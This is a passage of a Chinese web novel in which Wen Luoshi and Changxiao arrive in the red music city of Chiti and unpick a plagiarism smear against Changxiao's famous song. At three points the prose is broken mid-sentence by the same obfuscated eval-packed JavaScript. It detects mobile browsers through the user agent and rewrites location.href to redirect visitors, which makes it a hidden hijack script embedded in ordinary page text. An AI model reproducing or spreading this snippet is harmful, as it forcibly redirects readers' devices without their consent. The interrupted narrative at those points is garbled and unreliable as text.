“长晓,”她又凑得近了一些,“别担心,有我在,不管接下来进城遇到什么事,我陪你一起解决。” 长晓还是不睁眼,不说话。 很少见他这个样子,文落诗心里发慌,试探道:“你生我气啦?” 长晓依旧不理她。 “哦,好,那我什么也不说了。” 文落诗安安静静地坐着,没挪动位置。偶尔看向窗外,见他们正与飞鸟同行。前方的猼施摇曳着火红的皮毛,快速在墨色云间狂奔着。 大约过了一会,她听到长晓又叹了口气。刚想转头问他怎么样,文落诗就忽然觉得腰上一热,紧接着,自己整个人被他搂了过去。然后,顺势而下,背靠上他的手臂,侧脸贴上他的胸膛。 “不生你气。我怎么可能生你的气啊。” 他在解释刚刚的事情。 文落诗心中无奈,只好仰起头,脑壳悬空,死死盯住上方那双冷淡的眸子:“又一言不合就抱我是吧?” “嗯。” 文落诗一咬牙,算了算了,他今天受委屈了,任由他去吧。反正自己靠着也挺舒服的。 长晓确实最近遇上了大事。 他一个脾气这么好的人,这回都快要坚持不住那副闲淡的面孔。临行之前,他跟文落诗简单说了说,把文落诗一个同样脾气这么好的人也气得够呛,二话不说,从参商镇出发,赶去第三重天的赤缇城。 事情简单来说,就是有人忽然泼他脏水,说他写的曲子是抄别人的。且,这件事在赤缇城内已经传开了,快要人尽皆知的程度。 这种传言,可能在不通曲乐的人眼里没什么,但对于他来说,是极为致命的打击。哪怕是被栽赃陷害的,也能把他的名声毁去大半。 毕竟,看热闹的人们不会在意传言是真是假,只会觉得又有热闹和谈资了;他的同行中也有不少人对此喜闻乐见,每天盼着他倒台,自己才好有机会出名。这两种人将事情一煽动,本身不信传言的人也会倒边不少。 最可笑的是,这个制造传言的人,说的还是《落雪歌》。 名曲,名人,被忽然扣上一个抄袭的大帽子,而且这事还传得越来越逼真。 虽然这事一出,长晓就知道背后是谁干的,但是一时半会,他还真没想到好的解决方法。毕竟,要他怎么去证明这首曲子真是自己一个音一个音写出来的?匪夷所思。 他郁闷的是,万万没想到,对方这回出了个阴招,还是拿自己这个乐师的身份开刀。偏偏他还不能从正面拿出自己所有势力和对方去抗衡,不然相当于把身份泄露了个彻底。现在还没到把所有放在明面上的时候。 随口造谣的成本很低,但澄清的成本太高。对方把他架到火上烤,他若是这回真想全身而退,恐怕很难。 “长晓,”这时,怀里那个软乎乎的文落诗忽然开口,“缓一缓,闭会眼睛。保重身体,这个时候,你不能先倒下了。” “嗯,好。” “放心,哪怕没人相信你了,我还是会信。” 长晓把文落诗搂得紧了一些。 车厢之外的猼施突然大吼一声,示意他们要到了。 文落诗从长晓的怀里坐起来,扒开车窗,看到他们已经从云层之中缓缓降落。而映入眼底的,是一座歌舞升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169043|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平的城。 震撼是一定的,连她这种不甚在意外表的人,都会被这座城的样貌吸引。 满城都是红色的。这是所有第一次到达赤缇城的人都会有的感受。 房屋皆为红木,瓦片是深红褐色,屋檐下的灯芯是橘红色,窗棂的花纹是暗红色,就连街道上的小商铺都挂着冉冉红绸,艳丽而柔美。绸缎绫罗扎成花,装点着门槛和匾额。 如果看过凡间的话本,便会一下子联想到那十里红妆的场景。 街上的人也是红色调的。穿着红裙子的女孩在街道上闲逛,鲜衣怒马的男孩在街上奔跑而过,酒楼里丝竹几乎乱耳,茶馆里歌舞几乎不断,乐坊聚集,琴社无数,一副繁华的盛景,好生热闹。 可是就是这样一座城,埋葬了不知道多少创作者最初的梦。文落诗心想。 好似繁华唱遍,最终隐藏着无尽的牺牲与落寞。 猼施落到地面的那一刻,开始快速在街上奔跑起来,火红的皮毛融进万象之中,街道两旁的曲乐声不断,若不是车内二人心中都郁闷着,必定会被颇有些沉溺于这座柔美华丽的城。 “长晓,我还没问你,来赤缇,我们住哪里啊?”文落诗把车窗帘放下了,转回头。 长晓闻言顿时笑了:“你就这么肯定,我在这里有产业?” 文落诗撇嘴:“肯定的,赤缇城算你的地盘,我不信你在这里没产业。” 长晓心中一笑,这话说得,好像别的城池就不是他的地盘了一样。 “为什么这么说?” 文落诗理直气壮:“在那个美妙的传说里,这里是你的发迹处啊!别人可能以为,你是单纯随便找了这么一个乐坊扎堆的地方,后来变成了你的名声和这里的名声互相成就。但我跟你相处这么久,非常确定,肯定没有这么简单。你若是在这里没有产业、没有势力,什么底牌都没有的话,是不可能去尝试白手起家的。不是说你没这个能力,而是你从来不打没准备的仗。” 长晓彻底无语。 “怎么着,我哪句话猜错了吗?” 长晓盯了她许久,面上露出愉悦的笑:“可以啊,我没想到你如今这么了解我。” 他的眼眸映着窗外淡红色柔和的光,一时间,盈盈秋水荡漾,颇有勾魂摄魄的意味。 文落诗心下一空,赶紧别过头去,不看他,假装看向窗外:“所以,你可爱的小猼施宝宝,要把我们拉去哪里呀?” “扶桑楼。” 许是他语气过于镇定平淡,文落诗惊得“唰”一下把头转回来,睁大眼睛:“不会吧?” 长晓轻笑一声:“你都说了这里算我的地盘,怎么就不可能了?” 文落诗还是不敢相信:“你是单纯跟扶桑楼有联系,还是认识那里的人,还是……” “我是那里的东家。” 文落诗彻底不说话了。 因为,扶桑楼,是赤缇城里最大的乐坊。赤缇城里排第一,整个魔界也排第一。要是真想拿出去比,估计整个六界也排第一。 83. 一曲高歌动红绸 众所周知,若是来赤缇城,不去扶桑楼看一看,就大致相当于去参商镇不去竹海,去雨华不去看昙花,去融雪城不去昭明长街。 别人家的乐坊是个小型的坊,而扶桑楼是个楼,还是个高达三层的楼。甚至楼的后院才是“坊”,有铺张开来的厢房和院落,院里是个一应俱全的曲乐学堂,类似于凡间的教坊。 文落诗当初听说扶桑楼,就感慨是谁这么有想法,把酒楼的运营模式和乐坊结合起来,独树一帜,还名声大振。最关键的是,日日歌舞升平,赏乐喝茶之人不断,特意前来拜师学习器乐之人也如织,扶桑楼的进账数额不可预估。俗话说,就是有钱得很。 如今,这个被她感慨了很多年的人,就坐在她旁边。 “你有这脑子,为什么不去修熙光啊?”文落诗真诚发问。 长晓目光闲散而平静:“这个问题,你自己都能回答。” 文落诗心想也是。她多此一问。 然而,她又想起了长晓当年一曲动全城的经典故事,认真复盘了自己听到过所有版本,恍惚间,意识到一件不得了的事。 “所以,”文落诗觉得自己头都大了,看着身边之人,有些发怵,“你当时,不是选择来到扶桑楼上演奏一曲,而是直接在自己的地盘里成名的啊?” 长晓听她这个描述,没忍住,直接笑出声来。 不过这个描述倒是没错。他无可奈何,点了点头。 看着她一脸惊恐,还掺杂着一丝崇拜的表情,长晓凤眸中瞬间染上更深的笑意,忽然心思一动,想再逗弄逗弄她。 “我若是告诉你,除了扶桑楼,这里还有一处酒楼、两处茶楼、五六个琴社、再加上十几家商铺,全是我的产业,你怎么想?” 文落诗直愣愣地看着他,嘴角微颤,一字一句可怜道:“我想下车。” 她不想跟长晓待在一起了! 太受打击了! “那恐怕不行,”长晓浓密的睫毛轻颤,嘴唇勾起一缕笑意,“我若是想真出手拦着,你走不掉。” 文落诗气得狠狠瞪他一眼。 行啊,不仅比我有钱得多,修为还比我高得多,还非要把两样同时拿出来欺负我,是吧? 长晓忽然不再说话,又重新把文落诗抱进怀里。 “好了,不吓唬你了。我就是想告诉你,来赤缇城,你放一百个心。想去哪里玩、想吃什么、想住哪里,都随便提,不用有顾忌。”长晓语气轻轻,口中温热的气息袭过文落诗的耳畔。 其实,他没说的是,若是你想,以后这些产业,都是你的。 而文落诗脑子乱乱,根本无暇顾及长晓又把她抱进怀里了这件事,也无暇顾及他说了什么,只是忽然觉得,面前这个人好可怕。 她顺势把头深深埋进长晓怀里,低声道:“你太可怕了……” 长晓见她这个样子,心头瞬间软下来,语气也变得轻柔:“至于吗?” 文落诗不说话了,大约是在消化刚刚的炸裂信息。大约过了一阵,她猛地抬起头,面色惊慌:“你什么时候又把我抱过来的?” 长晓一怔:“就刚刚啊。”说完,他手臂恋恋不舍地松开。 文落诗面色一僵。她刚刚完全没意识到这事,就连往长晓怀里靠这件事都太过于自然了,自然到她都没有察觉。 像种本能,毫无抵抗力。 她第一次觉得,魔的本性,确实不怎么好。 正处于尴尬之间,车忽然停下。 文落诗知道,扶桑楼到了。正欲下车之时,她想起什么,问长晓道:“你刚刚是说什么不用顾忌?” “我在这里的产业太多了,不缺人手也不缺资金,所以你想去哪里玩、想吃什么、想住哪里,跟我提就好,不用有顾忌。” 文落诗皱起眉头:“不要。” 长晓的眉轻轻上挑。 “我才不会什么都依靠你。你想得太美了。” 长晓嗤笑一声。不过,他内心很清楚,文落诗一直都是这样。从来不会依附别人而活,从来都是自己傲然挺立着,而且能把自己照顾得很好,甚至有余力去照顾别人。 以至于,每次他想尽力把最好的拿到她面前去博她一笑时,她都不接受。 他欣赏她这一点是真的,但苦恼这一点也是真的。 “但这回你没得选。赤缇算是我的地盘,这可是你自己说的。”说罢,长晓眉宇间再次漾起愉悦的笑意,漫不经心补充了一句,“跟我住一起,不许自己出去找客栈。” “可是……” “不许。” 文落诗不说话了。她知道他是好心,赤缇城她人生地不熟,他却是能算半个当地人。而且,估计他借此想向自己显摆一下自己的家财万贯,以及,嗯,权势滔天。 下车之后,文落诗站在巨大的高楼面前,仰头盯着“扶桑楼”三个大字匾额,看了很久,直到恍惚。好像传说中的盛景,如今真正出现在自己面前。身后街上人潮来往,眼前楼内人声鼎沸,只有她佁然不动,仿佛置身幻景之中。 “落诗,进来了。”已经踏入楼中的长晓定步转身,朝她招招手,“先来把行囊放下,一会你若是想出去转,我陪你。” 文落诗不再沉溺于眼前景色,迈步踏入楼内。 长晓一路领她绕过鼓乐齐鸣、宾客盈门的大堂,来到同样热闹的后院中。几个年龄不大的孩子齐刷刷抱着琴,急匆匆往后面院子里走去,看样子是赶着去上课的。 没多久,就有人兴高采烈地喊着“主子”走过来,一路把他们带到了巨大的后院里其中一处偏僻寂静的小院里。 文落诗随着长晓进了主屋,双眼瞬间睁大。 “你是不是在这里住过很久一段时间啊,怎么会东西这么齐全,显得这么……嗯……奢侈?” “当年是住过挺久,”长晓看了看房间,像是早就有人来打扫干净过,便直接整了整衣袍坐下,“不过,很长一段时间没来了。” 若是说当时在春庭酒楼后院,文落诗已经很震惊这个人怎么这么会享受了,如今在扶桑楼的后院里,文落诗在真正对家财万贯、富可敌国这八个字有了深刻的、具象化的理解。 长晓的房间里一应俱全,桌椅床榻都是极为上等的木材,花瓶灯盏都是上好的瓷玉,里面有好几列花花绿绿的书架,还有整整半个屋子的各种器乐。单说琴,文落诗视线之内就有十几张。 繁琐而整洁,富贵而高雅,这就是文落诗的第一感受。 可这里竟然还不是长晓真正的居所,只是他当年为了方便,给自己在外打造的临时居所。 “我这屋里有好几处床榻,你是跟我住一起,还是……” “去旁边的厢房,我自己住。”文落诗毫不犹豫。 她可绝对不会答应跟长晓住在一起的。且不说和他住在同一个屋檐下甚是奇怪,若是真住在这里,她心里极为不踏实。好像自己最不希望发生的事情终究发生了——显得跟她需要攀附高枝、靠他人的家产而活一样。 不行,绝对不能这样。 文落诗暗暗下定决心,一定要平起平坐,把这个人情还回来。 “那你先去休息一会,下午我带你在赤缇街上逛逛?” “好。”文落诗走到书架旁,顺手拽下来几本书,抱在怀里出去了。 看着熟悉的背影走出房门,长晓有片刻恍惚。仿佛那时初见她,在春庭酒楼后院,她也是这般姿容,娴静中带着出奇的镇定,温婉中带着一股狠劲。 而且,此刻,恰好又是冬年。 * 赤缇城的街道人潮如织,真不愧是曲乐这一行的聚集地,三步路过一个乐坊,两步走过一个琴社。街上红彤彤一片,映着冬日里早早下沉的夕阳,放眼望去,扑面而来的竟是温暖之意。 文落诗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177057|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走走停停,内心充满新鲜感。长晓也就慢步跟在她旁边,时不时跟她介绍周围的景致和街道的布局。 偶尔路过一些偏僻的小巷,里面破破旧旧的,像是没被开发的样子,堆满了费旧残破的布料和已经无法再使用的木头片,还有一团废弃的褪色的红绸。 虽然看起来破破旧旧,但一般这些东西,不会有人随便丢弃在街上。布料可以重新缝缝补补,木头片可以拿去当柴火,红绸这么宝贵的装饰物,也不会随意丢掉。想来是大户人家,不缺钱。 忽然,文落诗注意到什么,停下脚步。 “怎么有人把琴扔在这里啊?” 在这些乱糟糟的废物旁边,俨然放着一张琴,而且看上去不旧,挺新的。 而当她看向长晓之时,发现长晓难得沉默了许久,像是有什么故事。 “大约是不要了吧,”长晓淡淡开口,语气中有不明的情绪,“许是那人偷摸着买的,但家里不允许学琴,只得扔了。” 文落诗唏嘘不已。 同一座城市,有人的梦从此开始、升空、名动四海;有人的梦在此终结、破碎、不复当初。 所有人生来不公平,怨天尤人都没用,只能摸爬滚打里找寻自己的生活方式。 不过文落诗心想,自己小时候偷偷买话本看,一旦被爹娘发现,早就拎出去转手给卖了,一本都不让她留着。但是她学琴就可以,爹娘不拦着,虽然她最后也没学出个名堂来。 长晓之前也跟自己提过,家里不让学琴。 所以这个世界很荒谬,人们喜欢的往往都是不被允许的,怎么求也求不来。可在别人眼里,自己轻轻松松能做的,是别人的求之不得。 “你对这里可真是太熟悉了。”文落诗感叹道。 “毕竟住过很长一段时间。”长晓回应。 “好,现在我基本上弄清楚城内的布局情况,有概念了。” 长晓顿住脚步,不解道:“你这是想做什么?” “帮你啊,”文落诗走近他,抬起明亮的双眼,“在你势力这么大的地方,有人都敢跟你对着干,那他必然也是背后藏着极大的势力。我先弄清楚城内的情况,才能对症下药,一针见血地帮你。” 长晓有些惊讶,转而眼瞳里流动起笑意:“其实,我自己解决就好,不需要麻烦你。” “这件事不小吧?” “嗯?” “我是说,这件事看似只是想祸害你的名声,实则背后甚是复杂吧?” 长晓略有深意地看了她一眼,点点头。 “那更不能让你独当一面,一个人去与对方交锋了。我既然在这里,就一定会想办法帮你一起解决。” 长晓还没来及的说什么,文落诗就只给她留下了一双果决的眼眸,转身不再看他,向前走去。 根本不给他阻止的机会。 长晓静静跟在她身后,一瞬间意识到,大约不知什么时候,文落诗早就被牵扯进那混乱的政局之中。她往日里是害怕,是排斥,是躲闪,而如今,她似乎在努力着去沉着应对,哪怕暗流席卷过周身,她都无所畏惧。 兵来将挡,水来土掩。 说不清她是本来就变得愿意了,还是……为了帮自己。 抑或是,通过帮自己,在努力去帮这个世界上挣扎的所有人。 而文落诗在前面走走停停,才不管长晓想的是什么。她只知道这件事很复杂,而且对方既然是有备而来,给了长晓重重一击,说不定也知道自己这些天与长晓生活在一起。 那么,自己要么会成为长晓的软肋,要么与长晓一起,成为被攻击的对象。 很可惜,文落诗偏偏要做到,两者都不是。 她这次要直面站出来斗,让自己占据主动,让对方认识到自己不好惹。 不是很多人说过她很适合参与政斗吗?来啊,这回就看看,到底最后谁能赢。 84. 一曲高歌动红绸 这一下午,文落诗基本上把赤缇城主要的部分转了个遍,也跟着长晓去了十好几家商铺里。各式各样的器乐,甚至还有她没见过的样式,眼花缭乱,宛如进入了一个全新的世界。 虽然,每到一家商铺,掌柜都以为长晓是来突击查账的,吓了一大跳。 文落诗对此很无奈,特别是她很受不了掌柜看她的那种好奇眼神,好像长晓带了她这么个姑娘前来,是个前所未有的大事,太过于新奇。貌似下一刻她离开后,这件事就值得成为商铺里所有伙计的首要谈资。 至于吗?不就是来参观个商铺吗? “你是不是从来没带别人去过你的商铺啊?”从最后一家商铺出来,文落诗实在忍不住问道。 长晓一愣:“怎么会这么问?” 文落诗嘴角一撇:“你的所有掌柜们看到你的眼神都是害怕,大约你很少亲自来,生怕你今天突然来查账或者挑他们的错,但是看到我,眼神里全是不可置信,好像我是一个很新鲜的存在。” 长晓明白她想说什么了,唇角勾起:“不必在意,他们大概只是觉得新鲜。” 虽然他心里清楚,这些掌柜们觉得新奇,是因为他以前,身边从来没有过关系这么近的女子。大约他们都想知道这个姑娘是谁。 傍晚,长晓带她去了一家酒楼吃饭。文落诗想抢着把钱付了,毕竟都住他的院子了,不能再让他请。可是长晓摇摇头说不用。 文落诗一开始以为,他是不愿意让自己请客,还差点跟他急得瞪眼。 结果,长晓说:“真不用,这家酒楼是我开的。” 那一瞬间文落诗只觉得生无可恋。 怪不得这家的豆浆好喝…… 回去的路上,文落诗问了一个憋了好久的问题:“你就这样大摇大摆地在街上走,不怕被人认出来?” 长晓温声道:“除了你,没人知道我是谁。”说完,他又补充道:“不算我手下那些人的话,现如今这里,也只有你,能把我名字和脸对上号。” “我是说,”文落诗深吸一口气,“背后坑你那些人。” 长晓目光一动,顿时明白,文落诗说的不是“长晓”,而是他真正的身份。 她竟然早就猜到,这件事情不是针对“长晓”,而是针对他这个人。 “如果是那些人,我就更要让他们知道,我来了。” 他笑得轻松,像是从来不把那些跳到头上闹事的人放在眼里。 文落诗很明显刚刚还想说什么,此刻却深深看了他一眼,没再说话。 * 翌日一早,文落诗睡了个大懒觉,醒来后跑去长晓的屋里。 “我有个重大决定,来跟你商量一下。”她刻意摆出一副严肃的说大事的神情。 长晓看着她乖巧坐在自己身边,使劲绷着脸努力装严肃的样子,好笑道:“细说?” 文落诗郑重道:“这次的事情,全盘交给我,你什么都别管,也不许露面。” 长晓一惊:“为何?” 文落诗抬起眼眸,带有一丝决绝:“我昨天晚上想了一下,对方这次坑你,无非就是两种目的。我姑且假设对方只有一个人,但他手下有无数追随者和跑腿卖力的人。政斗嘛,总要有个人牵头。结合之前咱们遇上的一堆破事,这个牵头的人我倒是有具体猜测,但是没办法完全确定。嗯……总觉得我猜的人有些匪夷所思,所以先不说了。要是对方是一群人,我猜错了,那就另说。” 长晓看文落诗的神态,就知道她基本猜对了。 他眸光中有些复杂:“其实,我觉得你猜得全都没错,虽然我不知道你怎么猜到的。” 文落诗心想,那是她不想真的查下去而已。不然,以她的检索能力,去各种藏书阁里泡几天,再去她那所谓的“三大信息汇集地”转上几圈,收集到的所有资料,能把你祖宗十八代都了解得清清楚楚。 有些事情,她真的不想知道得太清楚。她不想这么早,就迎来面对面戳破所有的那一天。 她浅浅一笑,继续道:“第一种可能,他想把你长晓这个身份,和另一个我不知道是啥的身份,在大众面前捅破,告诉大家你们是一个人。” 长晓感受到自己心一沉,似乎就怕她说这个。不过好在,这回还真不是。 “大约不是。他现在做这件事,对他没好处。” 确实没好处,如果大家都知道他是长晓,对方反而相当于打自己的脸。 长晓犹豫了一下,道:“要我跟你详细说吗?或者,我直接把所有事情都告诉你?” 事到如今,若是真的有必要把一切都坦白,他也认了。 他说不好此时此刻文落诗都知道或者猜到了什么,但估计她猜到的,至少有个八成。 而文落诗连忙摇头:“不必不必,我这个无依无靠的人,知道得越多,死得越早。” 长晓笑出声来:“怎么这么说自己呢?” 有他在,谁敢动她啊。 文落诗又道:“你真的别告诉我,我也尽量在少知道的情况下,把这件事解决。” 长晓无奈,意识到这种不得已瞒着她的僵局,可能还要持续一段时间。 “好,那你接着说。” 文落诗喝了口茶:“那就是第二种可能了,他想彻底毁掉你这个身份,让‘长晓’声名扫地,你以后没办法再以‘长晓’的身份活着或者处事。再狠点的话,以后某年某月,他再把这件事抖搂出来,说你曾经有这么个身份,摆你一道,给你狠狠一击。” 长晓深叹一口气:“落诗,你真是聪明得过分。” 过分到,他明明什么也没说过,她就全都知道了;也过分到,他想每时每刻把她拴在身边,一刻也不舍得她离开。 文落诗得到了肯定,坐直了身子:“好。那现在思路清楚了,对方是冲你来的,目的就是毁掉长晓的名声。而我想做的,就是让你不出面。对方不是不会挑明你其他的身份吗?那正好,你给我乖乖装成一个柔弱至极且没啥战斗力的只会弹琴的人,剩下的,我去解决。” 长晓对她这个叙述一脸无语。 “怎么?信不过我啊?” “倒不是信不过,是我觉得此事本与你无关,没必要让你去冲锋陷阵。” 文落诗闲懒挑了个眉:“那我给你理由?” 长晓一笑:“请讲。” “第一,你是真正处于这件事中的人,被推到风口浪尖上,这时候无论你亲自说什么,旁观者都会掂量掂量,本来相信你的人看你急于澄清,可能会开始怀疑,本来不信你的人更会觉得你是在狡辩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15184842|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越描越黑。这种时候,你说的任何一句话,可信度都会降低。所以,你不宜亲自出面。” 长晓没说话,只是笑着点头认可。 这就是舆论。大约是目前这个世界诞生以来,最好用的手段。 “第二,你不能自证。对方抛出的谬论是你抄了他的曲子,这时候你要是想从‘证明我没抄他’这个角度出发去反驳,对方会一步一步紧逼,再编造出更多言论,你总不能一个一个去击破。所以,你要做的不是证明你没抄,而是让对方拿出证据,证明你抄了,然后从他的论证中下手。如果是这样,你完全没必要自己去与对方硬刚,随便一个相信你的人都能去做。” 长晓深深点头。这点他当然知道,毕竟是经历过无数场明争暗斗的人。 “第三,这件事过于不可思议,不能按常规方式去解决。谁能想办法证明一首曲子是自己写的啊?这不就相当于别人让我证明,我写的话本是我写的吗?我根本没办法证明笔下的每一个字都是我脑子想出来的,只有自己良心知道。而这一点,所有人都清楚,对方也是咬死你没办法,才敢这么嚣张。所以,要想解决这件事,就不能只从这件事出发。” 长晓来了兴趣:“你有其它思路啊?” 文落诗想了想:“有个初步想法,等一下,先让我把话说完。” 长晓失笑:“好,你继续。” “第四,对方是冲着你来的,那么这个造谣的人只是站在明面上的,还会有无数暗地里的人,如果你真要去应付所有,肯定也得拿出实力。但是那样,稍微一不小心,你就自己主动暴露了身份,我估计你不愿意,这不是相当于帮了对方吗?” 长晓沉默。确实是这样,这也是他烦的一点。 “综上,这件事,你不要亲自上阵。” 文落诗说完了,重重舒出一口气,开始给自己倒茶喝。 长晓把壶里的茶水施法加热,感慨道:“落诗,你真不愧是写文章出身的。你刚说的所有,我要是写下来,写成你这种清晰的逻辑,估计都得来回琢磨大半天的时间。但是,你估计连腹稿都没有吧?” 文落诗摇头:“没有,想到什么说什么。” 长晓却忽然扬眉,轻笑道:“但是,你有没有发现,你说的这些,都只是证明我不能去处理这件事的理由,并非你要替我去处理这件事的理由。毕竟,我自己不处理,也可以交给手下的别人。” 文落诗面色了然,像是猜到了他一定会如此问。 “那我依旧可以给你列个一二三四。第一,之前在参商镇,你把我一年的房钱都付了,我还没还上人情。第二,如今在赤缇城,我又借住了你的院子,再次省下了住客栈的钱。第三,我在这里的各种吃的喝的用的,都是你给我的,比如昨天带我去你自己开的酒楼里吃饭,我不能只索取而不付出。第四,对方可能已经知道我这段时间和你在一起,所以我本身就可能被波及。第五……” “省省,说重点。”长晓笑嗔一句。 而文落诗仿佛被戳破心事一样,声音卡住,没再说话。 许久,她终于闷下一口茶,垂眸道:“我想帮你。” 长晓听闻此言,眼眸中过水光变稠。 “我很想亲自帮你一次。所以,我刚刚说的所有理由,都是借口。” 85. 一曲高歌动红绸 这日阳光正好,冬年刚开始没多久,还不至于天寒地冻。文落诗披着一件暖和的斗篷,从街上急匆匆走会扶桑楼。 路过后院,里面的琴师主事、小厮、抑或是楼里跑来后院办事的小伙计,无一不冲文落诗点头问好。文落诗频频回礼的同时,内心是崩溃的,几乎要大喊出来:我只是来借住的,真的不用把我当成你们主子一样对待啊! 好在,这些天翻阅了所有相关卷宗,拿到了长晓通过他的人得到的所有信息,再去外面鱼龙混杂的地方逛了几圈,她终于理清了长晓这次事件的全貌——比她和长晓远在参商镇时听说的那个版本,要复杂多了。 有个人叫虚灵,也是个曾经名动四海的著名乐师。至于这是他真名,还是跟长晓一样只是在这一行里的名字,完全不重要。相较于长晓这种年轻一辈,他算是老前辈。可惜,时代变了,他的名声越来越小,好些年过去,几乎没什么人再提及他写的曲乐作品了。 而就在几年之前,一个偶然的机会,有个生意人想搞怀旧,于是特意去找了几个曾经名动一时如今却已经落寞的乐师,在扶桑楼里办了场演出,其中就包括虚灵。彼时,长晓还以为,自己只是作为东家提供了场地,赚了笔钱而已。 不料这怀旧过于顺利,炸出了无数追念当年的群众,短短几年之内,这几个人的名声又有渐渐跃起的趋势。 几个月之前,这个名叫虚灵的人,恰巧在赤缇城内另一家乐坊里演奏几曲,其中包括他当年所作的一首《梦云歌》。本以为这场演出会顺利结束,谁知即将落幕之时,忽然有一个台下的“宾客”询问虚灵,为何他觉得《梦云歌》听上去像长晓所作的《落雪歌》?虚灵并没有直接回答这个问题,而是不紧不慢地说了两句话。 “无可奉告。只是多谢诸位今日愿意来听我的奏乐。” 看似什么都没说,但其实细想,他的回答甚是可怕。在场大多数人都知道,虚灵是老一辈的乐师,他出名的那时,长晓估计还没出生。而在他名声渐落之时,长晓出名了,靠的偏偏还是与这位老前辈作品“相似”的《落雪歌》。 文落诗整理资料至此,拍案感叹一声,好手段啊!虚灵没有直接说长晓抄了他,反而先示弱,安排了人装成听众,假意质问他是否抄了长晓,然后他再装出一副对这种“倒打一耙”的误解无可奈何的样子,不仅博得众多同情,还能顺利引发所有人对此事的进一步思考。在这个过程中,无数人的不满甚至敌意,都会自然而然指向长晓。 长晓的曲子跟他的像,而他又很明显是先于长晓作曲,那必然就是长晓抄了他的呗! 后来,在那个“宾客”的带领下,无数人议论此事。虚灵以前的追随者开始替他鸣不平,听说此事的群众开始将此事越穿越开,更有“见义勇为者”抄录了两首曲子的乐谱和词,放在一起对比,发现两首曲子中,若是以填词的位置来看,上阕每一句词对应的音都有几处相似,下阕词开始的位置所对应的曲调也十分雷同。简单来说,就是重合度极高。 于是此事愈演愈烈,也有越来越多的人在这些“证据”的引导下,开始相信长晓是“抄了一个名声没落的老前辈”而出名的。这一言论流传开来,成为赤缇城中的最大谈资,甚至有蔓延至城外之势。 文落诗放下手中的信件,闭上眼睛开始思考。 要不她对长晓过于了解,坚定相信他的人品,也知道他当年在出名前因为露烟的身份吃过多少苦头,她还真觉得,自己很容易被这些“证据”误导。 毕竟,太真了!若是普通百姓只是看热闹、了解个大概,这些“证据”已经足够说服他们了。 想到这里,文落诗觉得脊背一凉。 若是以后她写文章也出名了,不会也遭到这种莫名被泼脏水的事情吧? 毕竟,连覆雪这种人都能被骂江郎才尽,自己万一哪天被人盯上,指不定会被按个什么罪名,恐怕连她自己都想不到的那种。 不过她又想了想,觉得自己顶多和覆雪一样,应该不会上升至长晓这种程度。 她很明显感受到,之前覆雪那事,绝对是她被人坑了,虽然不知道是谁出的手,但肯定是同行之内的竞争者,不可能出了这一行以外。 而她的事情,与长晓这件事是有本质区别的。长晓这件事,看似是这个名叫虚灵的人想坑他,通过踩碎他的名声来博得同情、重新让“虚灵”回到大众视野中,实则,虚灵只是站在明面上的人。而虚灵的背后,躲在暗处的,才是真正想与长晓交手的那个人,或者说,那群人。 文落诗好久没这么强烈地动过脑子了。她打了个哈欠,决定出门走走,呼吸些新鲜空气,顺便整理头脑中杂乱的信息。 扶桑楼后院是一整个乐坊,想要出门,必然会路过无数丝竹。她看到有间屋内,一位琴师正在讲授滚拂的技巧,而几个学生围在周围,认真听着。她在没人注意到的位置停留了许久,觉得这个琴师讲得真不错,不禁想,长晓手下的人,似乎就没有差的。 接着是几块假山石,还有一处小池塘,池边有树梅花。文落诗心想,冬年以来,待落雪之时,此处景致应当很是雅致。 文落诗走走停停,看哪里都觉得新鲜。她往日里很少去乐坊,也就是写文章收集灵感的时候去过,而想扶桑楼这种别出心裁的乐坊,她更是第一次来。那日长晓带她转完赤缇城,回来之后天已然黑了,她也就没转后院。这些天几乎日日夜夜待在屋里,也很少在后院走动,多是路过。如今仔细一看,她倒是越来越佩服长晓的设计理念,以及他的才华。 幸好一路上没碰上几个人,不然又要有一堆人朝她问好。真不知道长晓到底跟他们怎么交代的,搞得跟自己跟半个东家似的。 文落诗上了街,去了好几家其它乐坊里,听了听百姓的交谈,把脑子里刚刚整理出的信息与之一一对应。 最后天色暗下来时,她走出了最后一家乐坊。 刚一上街,她就觉得身后的气息不太对。 像是有人在看她。 她拿出当年一个人行走江湖的那种飒气,警戒意识拉满,眼神冰冷回头一扫,却发现街上一切如常,并没有人刻意跟着她,也没有人朝她看。 几乎是下意识,她心里知道不妙。 怕是暗里有人注意到她,在观察她的行踪。 再往前走了几条街,她愈发确定了这个想法。 总有几道眼神和气息在她身后或身侧停留,一路跟着她至此。 有一道最浓的气息,仿佛在前方的酒楼里。也说不出来具体是什么,但大约是生来为魔的直觉,她就是觉得,这个酒楼里,有人在盯着她。 